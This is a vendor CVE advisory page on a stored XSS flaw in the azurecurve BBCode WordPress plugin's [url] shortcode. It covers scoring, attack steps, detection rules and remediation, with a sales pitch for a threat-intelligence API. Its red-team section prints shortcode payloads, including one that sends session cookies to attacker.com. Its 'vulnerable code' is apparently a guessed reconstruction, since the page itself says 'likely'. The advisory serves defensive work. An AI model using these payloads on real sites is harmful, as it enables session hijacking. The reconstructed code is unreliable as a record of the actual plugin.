☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8398

CVE-2025-8398 Cross-Site Scripting in Azurecurve
📅 PUBLISHED: 2025-09-11 07:25 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8398 is a Stored Cross-Site Scripting (XSS) vulnerability in the azurecurve BBCode WordPress plugin, affecting all versions up to and including 2.0.4. The flaw resides in the plugin's [url] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript into posts or pages. When a victim (including administrators) views the compromised content, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is used to parse BBCode within WordPress posts, making the [url] shortcode a vector for persistent XSS.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; however, no patch is currently available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated low-privilege users to persistently inject scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the azurecurve BBCode plugin's handling of the [url] shortcode. The plugin likely uses add_shortcode('url', ...) to register a callback. Inside this callback, the url attribute (e.g., [url=https://example.com]text[/url]) is retrieved and output without proper escaping.

Root Cause: Insufficient input sanitization and output escaping on the url attribute. The plugin likely uses esc_attr() or esc_url() incorrectly, or omits them entirely, allowing an attacker to break out of the attribute context and inject JavaScript.

Attack Flow:

  1. Attacker logs in with Contributor-level access.
  2. Creates a new post or edits an existing one.
  3. Inserts a shortcode like: [url=" onclick=alert(1)"]Click[/url]
  4. The plugin outputs the attribute without escaping, resulting in HTML like: <a href="" onclick=alert(1)">Click</a>
  5. When any user views the post, the onclick event fires, executing the attacker's script.

Vulnerable vs. Patched Code

Vulnerable Code (azurecurve BBCode <= 2.0.4):

function azurecurve_bbcode_url_shortcode( $atts, $content = null ) {
    $atts = shortcode_atts( array(
        'url' => '',
    ), $atts );
    $url = $atts['url'];
    // No sanitization or escaping
    return '<a href="' . $url . '">' . $content . '</a>';
}
add_shortcode( 'url', 'azurecurve_bbcode_url_shortcode' );

Patched Code (Hypothetical Fix):

function azurecurve_bbcode_url_shortcode( $atts, $content = null ) {
    $atts = shortcode_atts( array(
        'url' => '',
    ), $atts );
    $url = esc_url( $atts['url'], array( 'http', 'https' ) );
    $content = wp_kses_post( $content );
    return '<a href="' . $url . '">' . $content . '</a>';
}
add_shortcode( 'url', 'azurecurve_bbcode_url_shortcode' );

The fix uses esc_url() to sanitize the URL and wp_kses_post() to escape the content. Without a patch from the vendor, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with azurecurve BBCode plugin <= 2.0.4
  • Contributor-level account

Exploit Steps:

  1. Log in as a Contributor.
  2. Create a new post.
  3. Insert the following shortcode in the post content:
    [url=" onclick=alert(document.cookie)]Click here[/url]
    
  4. Publish the post.
  5. When any user (including Admin) views the post, the JavaScript executes.

Advanced Payload (Session Hijacking):

[url=" onclick=fetch('https://attacker.com/steal?cookie='+document.cookie)]Click[/url]

Blue Team (Detection & Hardening)

Detection:

  • Monitor post content for suspicious shortcode patterns, especially [url with on* event handlers.
  • Review user activity logs for posts containing onclick, onerror, onload, or javascript: in shortcode attributes.

Hardening:

  • Disable the azurecurve BBCode plugin until a patch is released.
  • Implement a Web Application Firewall (WAF) rule to block shortcodes with event handlers.
  • Restrict Contributor-level access to trusted users only.
  • Use a WordPress security plugin (e.g., Wordfence) to scan for XSS payloads.

Indicators of Compromise (IOCs)

  • Post Content: Shortcode patterns like [url=" onclick=...] or [url=" onerror=...]
  • HTTP Requests: POST requests to /wp-admin/post.php containing [url with event handlers.
  • Logs: User agent strings or IPs associated with known XSS payloads.
  • File System: Modified post content in the wp_posts table with [url shortcodes containing JavaScript.

Detection Engineering

YARA Rule

rule azurecurve_bbcode_stored_xss {
    meta:
        description = "Detects stored XSS payloads in azurecurve BBCode shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8398"
    strings:
        $shortcode = /\[url\s*=\s*["'][^"']*?(?:on\w+\s*=|javascript:)/i
        $event_handler = /on\w+\s*=\s*["']?[^"']*?\(/
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: Azurecurve BBCode Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS via azurecurve BBCode [url] shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: '[url='
    keywords:
        - 'onclick'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8398 - Azurecurve BBCode Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"[url="; http_client_body;
    pcre:"/(on\w+\s*=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-8398;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete azurecurve-bbcodes until a patch is available.
  2. Audit existing content – Search all posts and pages for malicious shortcodes using the YARA rule above.
  3. Reset compromised accounts – If any admin accounts were affected, force password reset and revoke sessions.

Long-Term Fix:

  • Apply the patched code (see Vulnerable vs. Patched Code section) manually if you must keep the plugin active.
  • Monitor the WordPress Plugin Directory for an official update.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"azurecurve BBCode"
http.html:"/wp-content/plugins/azurecurve-bbcode/"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8398/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.